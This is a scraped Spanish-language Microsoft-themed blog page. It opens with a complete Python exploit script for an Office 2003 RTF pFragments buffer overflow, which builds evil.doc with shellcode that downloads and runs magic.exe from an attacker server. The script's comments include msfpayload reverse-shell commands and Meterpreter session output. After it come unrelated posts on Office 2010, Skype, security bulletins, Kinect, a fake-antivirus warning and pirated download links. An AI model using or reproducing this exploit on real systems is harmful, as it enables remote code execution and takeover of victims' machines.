Microsoft Office 2003 Home/Pro 0day

#!/usr/bin/python

#
# Note from the Exploit-DB team: This might be the same bug as:
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
#

#-----------------------------------------------------------------------------------#
# Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3 #
# Authors: b33f (Ruben Boonen) && g11tch (Chris Hodges) #
#####################################################################################
# One shellcode to rule them all, One shellcode to find them, One shellcode to #
# bring them all and in the darkness bind them!! #
# #
# Greetings: offsec, corelan, setoolkit #
#####################################################################################
# (1) root@bt:~/Desktop/office# ./office2003.py #
# root@bt:~/Desktop/office# mv evil.doc /var/www/ #
# #
# (2) msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=9988 X #
# > /var/www/magic.exe #
# #
# (3) msf exploit(handler) > exploit #
# #
# [*] Started reverse handler on 192.168.111.132:9988 #
# [*] Starting the payload handler... #
# [*] Sending stage (752128 bytes) to 192.168.111.128 #
# [*] Meterpreter session 1 opened (192.168.111.132:9988 -> 192.168.111.128:1073)#
# at 2012-01-08 18:46:26 +0800 #
# #
# meterpreter > ipconfig #
# #
# MS TCP Loopback interface #
# Hardware MAC: 00:00:00:00:00:00 #
# IP Address : 127.0.0.1 #
# Netmask : 255.0.0.0 #
# #
# AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport #
# Hardware MAC: 00:0c:29:6c:92:42 #
# IP Address : 192.168.111.128 #
# Netmask : 255.255.255.0 #
#-----------------------------------------------------------------------------------#

import binascii

filename = "evil.doc"

#-----------------------------------------------------------------------------------#
# File Structure #
#-----------------------------------------------------------------------------------#
file = (
"{\\rt##{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\s"
"hpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv{\*\*\*\*\*"
"\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff")

#-----------------------------------------------------------------------------------#
# Open raw socket to download payload to parent directory as "a.exe" #
# ==> cmd execute "a.exe" #
#-----------------------------------------------------------------------------------#
magic = (
"\x65\x62\x37\x37\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30"
"\x38\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65"
"\x30\x38\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39"
"\x34\x66\x31\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63"
"\x32\x34\x32\x34\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x30\x35"
"\x37\x38\x30\x31\x65\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61"
"\x32\x30\x30\x31\x65\x62\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34"
"\x38\x62\x30\x31\x65\x65\x33\x31\x66\x66\x33\x31\x63\x30\x66\x63"
"\x61\x63\x38\x34\x63\x30\x37\x34\x30\x37\x63\x31\x63\x66\x30\x64"
"\x30\x31\x63\x37\x65\x62\x66\x34\x33\x62\x37\x63\x32\x34\x32\x38"
"\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34\x30\x31\x65\x62\x36\x36"
"\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31\x63\x30\x31\x65\x62"
"\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39\x34\x34\x32\x34"
"\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66\x66\x66\x66"
"\x35\x66\x38\x31\x65\x66\x39\x38\x66\x66\x66\x66\x66\x66\x65\x62"
"\x30\x35\x65\x38\x65\x64\x66\x66\x66\x66\x66\x66\x36\x38\x38\x65"
"\x34\x65\x30\x65\x65\x63\x35\x33\x65\x38\x39\x34\x66\x66\x66\x66"
"\x66\x66\x33\x31\x63\x39\x36\x36\x62\x39\x36\x66\x36\x65\x35\x31"
"\x36\x38\x37\x35\x37\x32\x36\x63\x36\x64\x35\x34\x66\x66\x64\x30"
"\x36\x38\x33\x36\x31\x61\x32\x66\x37\x30\x35\x30\x65\x38\x37\x61"
"\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x35\x31\x35\x31\x38\x64"
"\x33\x37\x38\x31\x63\x36\x65\x65\x66\x66\x66\x66\x66\x66\x38\x64"
"\x35\x36\x30\x63\x35\x32\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38"
"\x39\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x35\x62\x66\x66"
"\x66\x66\x66\x66\x34\x31\x35\x31\x35\x36\x66\x66\x64\x30\x36\x38"
"\x37\x65\x64\x38\x65\x32\x37\x33\x35\x33\x65\x38\x34\x62\x66\x66"
"\x66\x66\x66\x66\x66\x66\x64\x30\x36\x33\x36\x64\x36\x34\x32\x65"
"\x36\x35\x37\x38\x36\x35\x32\x30\x32\x66\x36\x33\x32\x30\x32\x30"
"\x36\x31\x32\x65\x36\x35\x37\x38\x36\x35\x30\x30")

#------------------------------------------------------------------------------------------------------------------------------#
# Two versions of office 2003 floating around: #
# (1) Standalone version, (2) XP Service Pack upgrade #
################################################################################################################################
# Unfortunatly though the exploit works perfectly for both versions they require different pointers to ESP... #
# #
# (1) 0x30324366 - CALL ESP - WINWORD.exe => "\x36\x36\x34\x33\x33\x32\x33\x30" #
# => http://download.microsoft.com/download/6/2/3/6233A257-16BD-4C8D-BF4C-6FA59AF9213A/OfficeSTD.exe #
# #
# (2) 0x30402655 - PUSH ESP -> RETN - WINWORD.exe => "\x35\x35\x32\x36\x34\x30\x33\x30" #
# => http://download.microsoft.com/download/7/7/8/778493c2-ace3-44c5-8bc3-d102da80e0f6/Office2003SP3-KB923618-FullFile-ENU.exe #
#------------------------------------------------------------------------------------------------------------------------------#

EIP = "\x36\x36\x34\x33\x33\x32\x33\x30" #should ascii convert the Little Endian pointer

filler = "\x30\x30\x30\x30\x38\x30\x37\x63"*2 + "\x41"*24 + "\x39\x30"*18

buffer = "\x23"*501 + "\x30\x35" + "\x30"*40 + EIP + filler + magic

#-----------------------------------------------------------------------------------#
# Since we are downloading our payload from a remote webserver there are no #
# restrictions on payload size or badcharacters... #
#-----------------------------------------------------------------------------------#

URL = "http://192.168.111.132/magic.exe"
binnu = binascii.b2a_hex(URL)

URL2 = "00"
nxt="{}}}}}}"
nxt+="\x0d\x0a"
nxt+="}"

textfile = open(filename , 'w')
textfile.write(file+buffer+binnu+URL2+nxt)
textfile.close()

Microsoft Office 2010

Microsoft Office 2010 es una aplicación la cual sirve para trabajar desde casa o gestionar pequeñas empresas. Con la cual podrá hacer sus documentos más fácil, esta es la versión más reciente de una de las mejores suites, la cual incluye cinco aplicaciones.

Microsoft Word es una aplicación diseñada con herramientas precisas para organizar de manera eficiente y escribir documentos de texto. Le permite guardar los documentos en línea con la posibilidad de acceder, editar y compartir a partir de casi cualquier navegador web. Ahora bien, hay impresionantes efectos de formato, como la reflexión, la sombra, bisel y se pueden aplicar a sus textos, además de nueva imagen de herramientas para añadir efectos especiales.

La aplicación PowerPoint ofrece varias formas de producir y compartir presentaciones o presentaciones de diapositivas con nuevas transiciones de diapositivas dinámicas, efectos de animación, efectos de foto y todo para impresionar al público. Ahora, puede directamente añadir y editar vídeo con todas las herramientas de espera, los efectos y estilos variados.

Microsoft Outlook permite administrar varias cuentas de correo electrónico como Gmail, Hotmail y otros, usando las herramientas avanzadas de gestión de recursos humanos y funciones de redes sociales diseñadas a partir de una reaparición en un solo lugar. La vista de conversación de correo electrónico mejora el seguimiento y reduce la sobrecarga de datos, de modo que usted puede manejar fácilmente varios correos electrónicos. Además de crear mensajes de correo electrónico, usted puede compartir su calendario de disponibilidad y mucho más.

Con Microsoft Excel, es posible analizar, modelar, gestionar y compartir datos de manera más fácil y le ayudarán a tomar decisiones más inteligentes. Podrá disfrutar de las herramientas nuevas y avanzadas para la visualización, análisis de datos y crear con estilo todo lo necesario para las hojas de cálculo.

Por último, la aplicación OneNote trae el punto final para almacenar datos y compartir en un lugar de fácil acceso. La captura de audio, notas, texto, video e imágenes para mantener la información esencial, pensamientos e ideas siempre disponible.

Saludos Cordiales
Nicole

 Detalles de la descarga

Microsoft compra Skype

Microsoft Corp. anunció este martes la compra del operador telefónico por internet Skype por 8 500 millones de dólares. Esta compra es la mayor realizada por Microsoft en sus 36 años de historia.

La adquisición de Skype le dará a Microsoft una valiosa herramienta de comunicaciones que el gigante incorporará en sus principales productos: Teléfonos Móviles Windows Phone, sistemas de mensajería y redes sociales (Windows Live, MSN y Messenger) y consolas de videojuegos Xbox 360.

Asimismo, Microsoft se ha comprometido a seguir manteniendo la presencia de Skype en otras plataformas, tanto para terminales móviles como equipos informa´ticos.

Skype el primer operador de telecomunicaciones vía Internet

La plataforma de comunicaciones vía Internet Skype fue creada en 2003 por el danés Janus Friis y el sueco Niklas Zennström. Ambos expertos programadores y que habian saltado a la fama por haber creado anteriormente el que fue uno de los programas más populares para el intercambio de ficheros P2P, Kaza. La aplicación, con un interfaz muy parecida al popular Messenger, se convirtió rápidamente en un gran éxito debido a la facilidad de su uso y la gratuidad del servicio que facilita realizar todo tipo de llamadas (desde nacionales a internacionales) a través de los equipos informáticos.

En septiembre de 2005 la empresa fue comprada por eBay por 2.600 millones de dólares. La integración de Skype con eBay fue una fuente de conflictos permanentes entre los antiguos propietarios y la compradora lo que acabó con el despido de estos últimos del gigante del comercio electrónico. Ante la imposibilidad de rentabilizar Skype y una demanda por el uso de licencias emprendida por Janus Friis y Niklas Zennström, en julio del 2009 vendió el 70% de la empresa al fondo de inversiones Silver Lake Partners en el que participaban los antiguos propietarios.

A más usuarios, más perdidas

Skype perdió 7 millones de dólares, con ingresos de 860 millones el año pasado, acumulando unas deudas por valor 544.000 dólares a finales del 2010. Sin embargo, el servicio es utilizado habitualmente por unos 170 millones de usuarios que generaron 207.000 millones de minutos en llamadas telefónicas.

El principal problema de Skype es que la inmensa mayoría de sus usuarios no pagan ninguna cantidad por usar el servicio y que el aumento del gasto que supone mantener la infraestructura es paralelo al incremento de usuarios. Según la compañía, solamente unos 8.8 millones de usuarios están abonados a los servicios de pago que permiten entre otras ventajas realizar llamadas a terminales fijos o móviles.

Una nueva empresa by Microsoft

Una vez finalizada la adquisición Microsoft mantendrá a Skype como empresa independiente bajo la dirección de Tony Bates, quien responderá directamente al director general de Microsoft, Steve Ballmer. El manenimeinto de la empresa fuera de la “òrbita” directa del gigante facilatará que esta siga desarrollando aplicaciones para otras plataformas y sistemas operativos, entre ellos iOS (iPhone) y Android.

Asimismo trabajará en colaboración con los ingenieros de software de Microsoft para integrarlo en Windows Phone de manera nativa otorgando a este sistema operativo una ventaja competitiva frente a Apple y Google.

También estará presente en los servicios de mensajería tanto residencial como profesional de Microsoft y la presencia de esta tecnología en Xbox 360 facilitará el desarrollo de juegos sociales al contar con una plataforma solida y muy extendida en el mercado.

La compra de Skype rompe el anterior récord de 6.000 millones de dólares que pago Microsoft por el servicio de publicidad por internet aQuantive y queda muy lejos de los 400 millones que pagó en 1997 a los creadores de Hotmail y que supuso en ese momento todo un record.

[TIP] Office 2007 – Cambio de minúsculas a mayúsculas

Paso 1
Seleccione el texto que desea cambiar

Paso 2
Presione Shift+F3

Resultado:
Cambio de minúsculas a mayúsculas, en la primera letra de cada palabra, en la primera letra del párrafo, o en todo el párrafo, dependiendo de las veces que presionemos Shift+F3

Fuente: Microsoft

Elevación de privilegios en Microsoft Malware Protection Engine

Microsoft ha publicado una advertencia de seguridad para avisar a sus clientes sobre una vulnerabilidad en Microsoft Malware Protection Engine que podría permitir al atacante elevar sus privilegios. Los productos afectados son Windows Live OneCare, Microsoft Security Essentials, Microsoft Windows Defender, Microsoft Forefront Client Security, Microsoft Forefront Endpoint Protection 2010 y Microsoft Malicious Software Removal Tool.

Microsoft Malware Protection Engine, que se encuentra en la librería 'mpengine.dll', se encarga de proveer las funcionalidades de escaneo, detección y limpieza para software antivirus y antispyware de Microsoft.

La vulnerabilidad, a la que le ha sido asignado el cve CVE-2011-0037, podría permitir a un atacante local autenticado elevar sus privilegios si Microsoft Malware Protection Engine realiza un escaneo del sistema tras la creación de un registro especialmente manipulado, por parte de un usuario legítimo con la condición de que no sea anónimo. Tras una explotación exitosa de la vulnerabilidad, el atacante podría obtener los mismos permisos de usuario que la cuenta LocalSystem.

No es necesario llevar a cabo ninguna acción por parte de los administradores de los sistemas afectados para instalar la actualización, ya que los propios mecanismos de actualización de dichos los productos se encargan de ello, por lo que Microsoft no publicará ningún boletín de seguridad relacionado con esta vulnerabilidad.

Más Información:

Microsoft Security Advisory (2491888)

Vulnerability in Microsoft Malware Protection Engine Could Allow Elevation of Privilege

http://www.microsoft.com/technet/security/advisory/2491888.mspx

Fuente Hispasec

Windows Live Messenger 8.5

Aquí les comparto el enlace de Windows Live Messenger 8.5 y además incluye el parche anti actualización para que puedan iniciar sesión sin problemas.

http://rapidshare.com/files/430743048/WINDOWSLIVEMESSENGER8.5.rar

Verificados libre de virus.

Saludos.

Microsoft publica una alerta por vulnerabilidad 0-day en Internet Explorer

Microsoft acaba de publicar un aviso de seguridad para informar y alertar sobre una nueva vulnerabilidad descubierta recientemente en su navegador y que podría permitir la ejecución remota de código arbitrario.

Se anuncian como vulnerables las versiones de Internet Explorer 6, 7 y 8, mientras que la beta de Internet Explorer 9 se libra de este problema. Según reconoce Microsoft en su aviso, en la actualidad la vulnerabilidad se está explotando de forma activa.

El problema reside en que Internet Explorer al procesar determinadas combinaciones de hojas de estilo asigna la memoria de forma incorrecta. Concretamente en el módulo "mshtml.dll" al procesar el atributo "clip" con una posición determinada de las CSS (Cascading Style Sheets). Esto podría permitir a un atacante remoto la ejecución de código arbitrario a través de una página específicamente manipulada.

Microsoft se encuentra desarrollando las actualizaciones necesarias para corregir este problema, mientras tanto como contramedida se recomienda anular las hojas de estilo con una CSS definida por el usuario, asignar las zonas de seguridad del navegador a un nivel Alto, implementar el Enhanced Mitigation Experience Toolkit (EMET) o habilitar Data Execution Prevention (DEP) para Internet Explorer 7.

Más Información:

Microsoft Security Advisory (2458511)

Vulnerability in Internet Explorer Could Allow Remote Code Execution

http://www.microsoft.com/technet/security/advisory/2458511.mspx

DEP, EMET protect against attacks on the latest Internet Explorer vulnerability

http://blogs.technet.com/b/srd/archive/2010/11/03/dep-emet-protect-against-attacks-on-the-latest-internet-explorer-vulnerability.aspx

Boletines de seguridad de Microsoft en octubre

Este martes Microsoft ha publicado 16 boletines de seguridad (del MS10-071 al MS10-086) correspondientes a su ciclo habitual de actualizaciones. Según la propia clasificación de Microsoft cuatro de los boletines presentan un nivel de gravedad "crítico", diez son clasificados como "importantes", mientras que los dos restantes son de grado "moderado". En total se han resuelto 49 vulnerabilidades.

Sin duda se trata de una actualización histórica, nunca Microsoft había publicado un grupo de boletines tan amplio ni se habían corregido tantas vulnerabilidades. Y a estás alturas, cuando aún quedan dos meses para finalizar el año, ya se ha superado el número de boletines publicados en años anteriores (nunca se había alcanzado la cifra de 80 boletines de seguridad).

Se ha publicado una actualización acumulativa (de carácter crítico) para Internet Explorer, que además resuelve siete nuevas vulnerabilidades. Otras actualizaciones críticas han afectado al servicio de uso compartido de red del reproductor Windows Media, al motor de fuentes OpenType y a .Net Framework. Todas las vulnerabilidades críticas resueltas podrían llegar a permitir la ejecución remota de código.

Por otra parte, los boletines clasificados como "importantes" afectan a SafeHTML, a los controladores en modo kernel de Windows, al controlador de formato de fuente OpenType (OTF), a la biblioteca de controles comunes de Windows, al Reproductor de Windows Media, a la validación COM en el shell de Windows y WordPad, a la llamada a procedimiento remoto de Windows, a SChannel y también se han corregido once vulnerabilidades en Microsoft Word y otras trece en Excel.

Por último las vulnerabilidades moderadas corregidas afectan a Microsoft Foundation Classes y a discos de clúster compartido de Windows.

Las actualizaciones publicadas pueden descargarse a través de Windows Update o consultando los boletines de Microsoft donde se incluyen las direcciones de descarga directa de cada parche. Dada la gravedad de las vulnerabilidades se recomienda la actualización de los sistemas con la mayor brevedad posible.

Más Información:

Resumen del boletín de seguridad de Microsoft de octubre de 2010 http://www.microsoft.com/spain/technet/security/bulletin/ms10-oct.mspx

Actualización de seguridad acumulativa para Internet Explorer (2360131)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-071.mspx

Una vulnerabilidad en el servicio de uso compartido de red del Reproductor de Windows Media podría permitir la ejecución remota de código (2281679)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-075.mspx

Una vulnerabilidad en el motor de fuentes OpenType insertadas podría permitir la ejecución remota de código (982132)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-076.mspx

Una vulnerabilidad en .NET Framework podría permitir la ejecución remota de código (2160841)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-077.mspx

Vulnerabilidades en SafeHTML podrían permitir la divulgación de información (2412048)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-072.mspx

Vulnerabilidades en los controladores en modo kernel de Windows podrían permitir la elevación de privilegios (981957)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-073.mspx

Vulnerabilidades en el controlador de formato de fuente OpenType (OTF) podrían permitir la elevación de privilegios (2279986)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-078.mspx

Vulnerabilidades en Microsoft Word podrían permitir la ejecución remota de código (2293194)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-079.mspx

Vulnerabilidades en Microsoft Excel podrían permitir la ejecución remota de código (2293211)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-080.mspx

Una vulnerabilidad en la biblioteca de controles comunes de Windows podría permitir la ejecución remota de código (2296011)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-081.mspx

Una vulnerabilidad en el Reproductor de Windows Media podría permitir la ejecución remota de código (2378111)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-082.mspx

Una vulnerabilidad en la validación COM en el shell de Windows y WordPad podría permitir la ejecución remota de código (2405882)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-083.mspx

Una vulnerabilidad en la llamada a procedimiento remoto de Windows podría provocar la elevación de privilegios (2360937)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-084.mspx

Una vulnerabilidad en SChannel podría permitir la denegación de servicio (2207566)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-085.mspx

Una vulnerabilidad en Microsoft Foundation Classes podría permitir la ejecución remota de código (2387149)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-074.mspx

Una vulnerabilidad en discos de clúster compartido de Windows podría permitir la alteración de datos (2294255)

http://www.microsoft.com/spain/technet/security/bulletin/ms10-086.mspx

Microsoft quiere moverse en Japón

La videoconsola Xbox 360 ocupa un distante tercer puesto en las ventas en Japón, detrás de sus rivales PlayStation 3 y Wii, pero Microsoft regresó a este difícil terreno de batalla dotado con una nueva arma: su sistema Kinect, libre de controles de juego, con la que espera convencer a los consumidores japoneses.

Microsoft presentó este miércoles el esperado Kinect a los medios de comunicación japoneses, haciendo alarde de su capacidad para ampliar el atractivo de la ya existente consola Xbox para toda la familia.

A partir del 20 de noviembre, cuando el Kinect saldrá a la venta en Japón, Microsoft tendrá algo diferente para tratar de cerrar la fuerte brecha que lo separa de sus rivales japoneses en su propio terreno: Sony y Nintendo, ambas japonesas.

Alguna vez conocido como Proyecto Natal, Kinect busca ir más allá del concepto de captura de movimientos del jugador que impulsó el éxito global de la Wii.

Microsoft, con sede en Seattle, eliminó el control totalmente. En cambio, Kinect se basa en un sistema de cámara que reconoce los gestos y voces de los jugadores, permitiéndoles controlar los avatares que los representan en pantalla en juegos de acción y deportes, simplemente moviendo sus propios cuerpos.

"Todo lo que tienes que hacer es jugar (con el Kinect activado) o ver a la gente jugar", dijo Takashi Sensui, director de la división de entretenimiento de Microsoft en Japón. "No es nada que se haya visto antes y es una nueva experiencia que creo que atraerá a mucha gente".

Hasta ahora, la Xbox era mejor conocida como el dispositivo ideal para juegos de acción para jóvenes y adultos, especialmente hombres, con sagaz como Halo, en los que hay violencia o hay que disparar.

En Estados Unidos, la consola ocupa el segundo lugar en ventas de videoconsolas después de Nintendo, y apenas delante de Sony.

Hasta la semana pasada, había vendido unas 150,000 consolas Xbox 360 en su año fiscal, según Media Create, una compañía de investigación del mercado de los videojuegos con sede en Tokio. Nintendo vendió cerca de un millón de unidades Wii durante el mismo periodo, mientras que Sony vendió casi un millón.

Sensui agregó que el Xbox Kinect ayudará a cerrar la brecha de ventas e incluso superará a sus rivales japoneses "con el tiempo".

La nueva consola se lanzará el 4 de noviembre en América del Norte, seguida por Europa el 10 de noviembre.

El Kinect se venderá incluido con la consola Xbox o como sistema independiente, que podrá conectarse a las consolas ya existentes. Costará 150 dólares en Estados Unidos y 14,800 yenes en Japón.

via cnnexpansion

Microsoft actualiza su Windows Live 2011 beta

Microsoft liberó la actualización beta de su Windows Live Essentials 2011 para que los usuarios la descarguen y sigan aportando en la mejora del sitio.

A través de su blog oficial, Microsoft agradece las aportaciones y señala que para el Messenger recibió 3 millones de sugerencias de actualizaciones, 3.5 millones para el tema de imágenes, 6.2 millones para el de videollamadas y 7.6 millones para el estado del mail.

"Sus comentarios y su uso han contribuido a delinear las mejoras que hemos hecho y seguiremos haciendo en el Messenger, Photo Gallery, Movie Maker, Writer, Mail y protección infantil", señala Chris Jones, vicepresidente de Windows Live.

Algunas de las mejoras hasta el momento son:

* Disminuyó el tiempo para iniciar cada programa

* El Messenger es más rápido.

* La videollamada es más eficiente al utilizar un 30 por ciento menos de los recursos del CPU.

* La galería de fotos es mejor y baja más rápido.

* El Movie Maker logra cargas películas de mayor tamaño y mejor resolución.

* Writer ha mejorado significativamente la calidad de su corrección ortográfica y tiene una mejor integración con programas de Microsoft Office.

* El Gmail ha mejorado. Ahora se encarga de automatizar el spam y la carpeta de basura correctamente.

* El filtro de protección infantil es 35 por ciento más rápido.

"Además, hemos sido capaces de mejorar la calidad del software y hemos tomado en cuenta más del 75 por ciento de los errores reportados", menciona Jones, quien invita a los usuarios a bajar la actualización para probar los cambios y hacer sugerencias.

via eluniversal

descargar aqui

Alerta con Microsoft Essencials 2010

Salta la alerta, de un nuevo antivirus que es un fake.. es decir, que no es un antivirus sino que detrás esconde el troyano Win32/Fakeinit (TrojanDownloader:Win32/Fakeinit description.). Este antivirus, se llama Microsoft Essencials 2010, aprovechando la aceptación del antivirus que sacó microsoft, llamado Microsoft Essencials.

Este troyano, simula la actualización de Flash Player, para descargar de modo silencioso otros programas maliciosos que irán mostrando diferentes tipos de advertencias como que el equipo está infectado, cambiando el fondo de pantalla y interceptando ciertas webs para mostrarte información de que el PC está infectado, para que descargemos e instalemos este antivirus.

Una vez instalado Security Essentials 2010, se ejecuta mostrando falsas infecciones, comentando que no puede limpiarlo y que debe de comprar la versión completa del antivirus para poder limpiarlo.

fuente zonavirus.com

Un regalo de reyes: Neal Stephenson - El codigo enigma o criptonomicon

Criptonomicón

Criptonomicón es una novela escrita por Neal Stephenson más cercana a la ficción histórica y a las novelas de acción tecnológica contemporáneas que a la ciencia ficción que suele desarrollar este escritor. Se desarrolla en dos líneas temporales paralelas: la de los criptógrafos de la Segunda Guerra Mundial que intentan romper los códigos de comunicaciones del Eje Roma-Berlín-Tokio (ver U-413, U-553, U-691, Máquina Enigma, Alan Turing, Bletchley Park), y la de sus descendientes, que intentan utilizar la criptografía moderna para construir un paraíso de datos en un estado insular ficticio del Este asiático. En ambas historias tienen especial importancia las maquinaciones políticas que implican ambos esfuerzos.

El título proviene indirectamente del Necronomicón, una obra ficticia mencionada en las obras del escritor H. P. Lovecraft, aunque cuando Stephenson eligió el título no conocía el origen de la palabra, sino que fue inspirada por la aparición del Necronomicón en la serie de comedias de horror de El ejército de las tinieblas (Evil Dead).

Algunas partes de Criptonomicón puede ser notablemente pesadas para lectores no técnicos, ya que emplea múltiples páginas en explicar detalladamente conceptos criptográficos e informáticos. A pesar de los detalles técnicos el libro tuvo la admiración de sus seguidores, críticos literarios y lectores.

La primera edición la llevó a cabo la editorial estadounidense Eos el 4 de mayo de 1999, bajo el título original Criptonomicón en un único volumen de 918 páginas. La editorial española Ediciones B se responsabilizó de la versión española de la colección Nova y Byblos, cuya traducción se presenta en tres volúmenes subtitulados El Código Enigma, de 455 páginas, El Código Pontifex de 494 páginas y El Código Aretusa de 496 páginas, cortando en las páginas 320 y 620 del original estadounidense. Idéntico criterio se aplicó en la edición francesa. En el año 2007 Ediciones B publicó una edición de lujo, tapa dura con sobrecubiertas, en un solo volumen de 864 páginas.

La obra ha sido galardonada con el premio Locus 2000 como Libro de culto de los Hackers. Según algunos críticos, el Criptonomicón de Stephenson es a la criptografía y al cyberpunk de la sociedad de la información lo que El Señor de los Anillos de JRR Tolkien a la magia y la fantasía.

El Criptonomicón, descrito como la «Biblia del criptógrafo» que aparece a lo largo de la novela, es un libro de ficción inventado por Neal Stephenson para la trama del Criptonomicón y no existe en la realidad.

Stephenson incluye, como parte del argumento, una precisa descripción de (y un script en Perl para) el cifrado Solitario (llamado Pontifex en el libro), un algoritmo criptográfico desarrollado por Bruce Schneier y que se ejecuta mediante una baraja de cartas.

El trasfondo infotecnológico de Criptonomicón es la criptografía y las matemáticas y el uso que se hacen de ellas en las dos tramas que se van compaginando a lo largo de la novela y que se centran en el marco histórico de la Segunda Guerra Mundial y en un presente paralelo al que vivimos actualmente. La principal aplicación que se da en la trama histórica será la ruptura de los códigos utilizados por los alemanes y japoneses sin que estos se den cuenta, mientras que en el presente se intenta crear la Cripta, un paraíso informático de datos libres del poder de los gobiernos.

En la trama que tiene transcurso durante la Segunda Guerra Mundial se nos presenta a Lawrence Pritchard Waterhouse, un ficticio genio matemático y criptoanalista especializado en descifrar códigos del enemigo. Junto a él tenemos a Bobby Shaftoe, un sargento de la infantería de marina estadounidense adicto a la morfina con amplia experiencia en el frente del Pacífico que acaba en la secreta compañía 2702 junto al misterioso teniente–sacerdote Enoch Root, una compañía dedicada a despistar al enemigo con el fin de que no sospechase que se habían roto sus códigos. Después de muchas anécdotas, Waterhouse acabara casándose con una qwghlmiana; Shaftoe volverá a Filipinas junto al general MacArthur, personaje real, y a su amigo japonés Goto Dengo, para fallecer en su última misión días después de conocer a su hijo; y Enoch Root de la Societas Eruditorum simulará su propia muerte y regresará a Filipinas en busca de una mina nipona.

A lo largo de esta trama aparecen varios personajes y sitios históricos relevantes, y componentes de ficción como el propio Criptonomicón, un libro de los aliados de la Segunda Guerra Mundial que se usaba como repositorio de información para descifrar los códigos del Eje; el Reino de Qwghlm, perteneciente al Reino Unido, o el sultanato de Kinakuta.

La segunda trama tiene lugar en un presente paralelo, en el cual sesenta años después Randy Waterhouse, nieto de Lawrence y experto hacker criptográfico deja el mundo informático californiano para embarcarse en un desafiante proyecto empresarial junto a sus compañeros de Epiphyte Corporation con la finalidad de la crear la Cripta, un paraíso fiscal y de la información, pero tendrá que enfrentarse a viejos enemigos como Andrew Loeb, a otros nuevos como "el Dentista" y a la maquinaria política de los gobiernos. Para ello contará con la ayuda de sus viejos amigos Avi, Eb, John, Tom y Beryl y con la del equipo de la Semper Marine Services, que componen Doug y Amy Shaftoe, hijo y nieta de Bobby. Para respaldar la moneda electrónica de la Cripta será necesario conseguir oro, y necesitarán la ayuda de la compañía de excavaciones GOTO de Goto Dengo, quien construyó el "Gólgota" japonés, donde se guardó todo el tesoro obtenido como botín de guerra japonés durante la segunda guerra mundial. Además, Avi tiene otra misión para la Cripta: alojar el PEPH, el Paquete de Educación y Prevención del Holocausto, con el fin de ofrecer a la humanidad el conocimiento suficiente para la supervivencia. De esta trama cabe destacar la reaparición de Enoch Root, quien ayuda y apoya a Randy en la tarea de descifrado del código Aretusa durante su periodo de encarcelamiento en Filipinas y le enseña el método de cifrado del Solitario, o Pontifex, comentado más arriba.

Realidad en el Criptonomicón

El Criptonomicón utiliza un marco real como escenario de su historia. Así aparecen personajes, lugares y objetos de notable importancia histórica (algunos toman parte activa de la trama y otros simplemente son nombrados). Aquí hay una lista:

Alan Turing

Douglas MacArthur

John Von Neumann

Isoroku Yamamoto

Winston Churchill

Theodore Roosevelt

Máquina de Turing

Máquina Enigma

Colossus

Bletchley Park

Linux (en éste caso el autor utiliza el sobrenombre Finux para referirse a él)

BeOS

Microsoft (y Windows)

Descargar Ebook(PDF)

pass: topmetroflog.tk

Microsoft Research tiene un nuevo SO: Barrelfish

Microsoft Research presentó un nuevo sistema operativo (SO) centrado en aumentar el rendimiento de los sistemas multicore, que utiliza un bus de red entre los núcleos disponibles.

Se trata de Barrelfish, un proyecto que por el momento se encuentra en etapa experimental, y con el que se planea resolver los problemas de los actuales sistemas multinúcleo que tienden a compartir recursos como la memoria.

Cuando la demanda de este tipo de recursos crece, el rendimiento del sistema normalmente se reduce porque los recursos compartidos no escalan bien, pero Barrelfish soluciona este problema utilizando un sistema de paso de mensajes entre los núcleos utilizando el bus interno de comunicación.

Además, el software diseñado por Microsoft Research en conjunto con la Universidad Técnica ETH de Zurich también utiliza una especie de base de datos para llevar el registro instantáneo de los recursos de hardware que se encuentran disponibles.

La mayor parte del código de este sistema operativo experimental está licenciada bajo BSD (Berkeley Software Distribution), con algunos componentes que comparten derechos de autor entre ETH Zurich y Microsoft, y se rumorea que Barrelfish será un sistema gratuito y Open Source, ya que “incluye licencias BSD Open Source”, según el equipo de desarrollo.

De todas formas, hay que tomar en cuenta que la versión final de este sistema operativo bien puede no ser de código fuente abierto, dado que la licencia BSD permite generar un código cerrado dando los créditos respectivos a los autores originales, como el que se utiliza en Mac OS X.

Si desean más información sobre Barrelfish, pueden visitar la página web del proyecto.

EPSON Status Monitor 3 local privilege escalation vulnerability

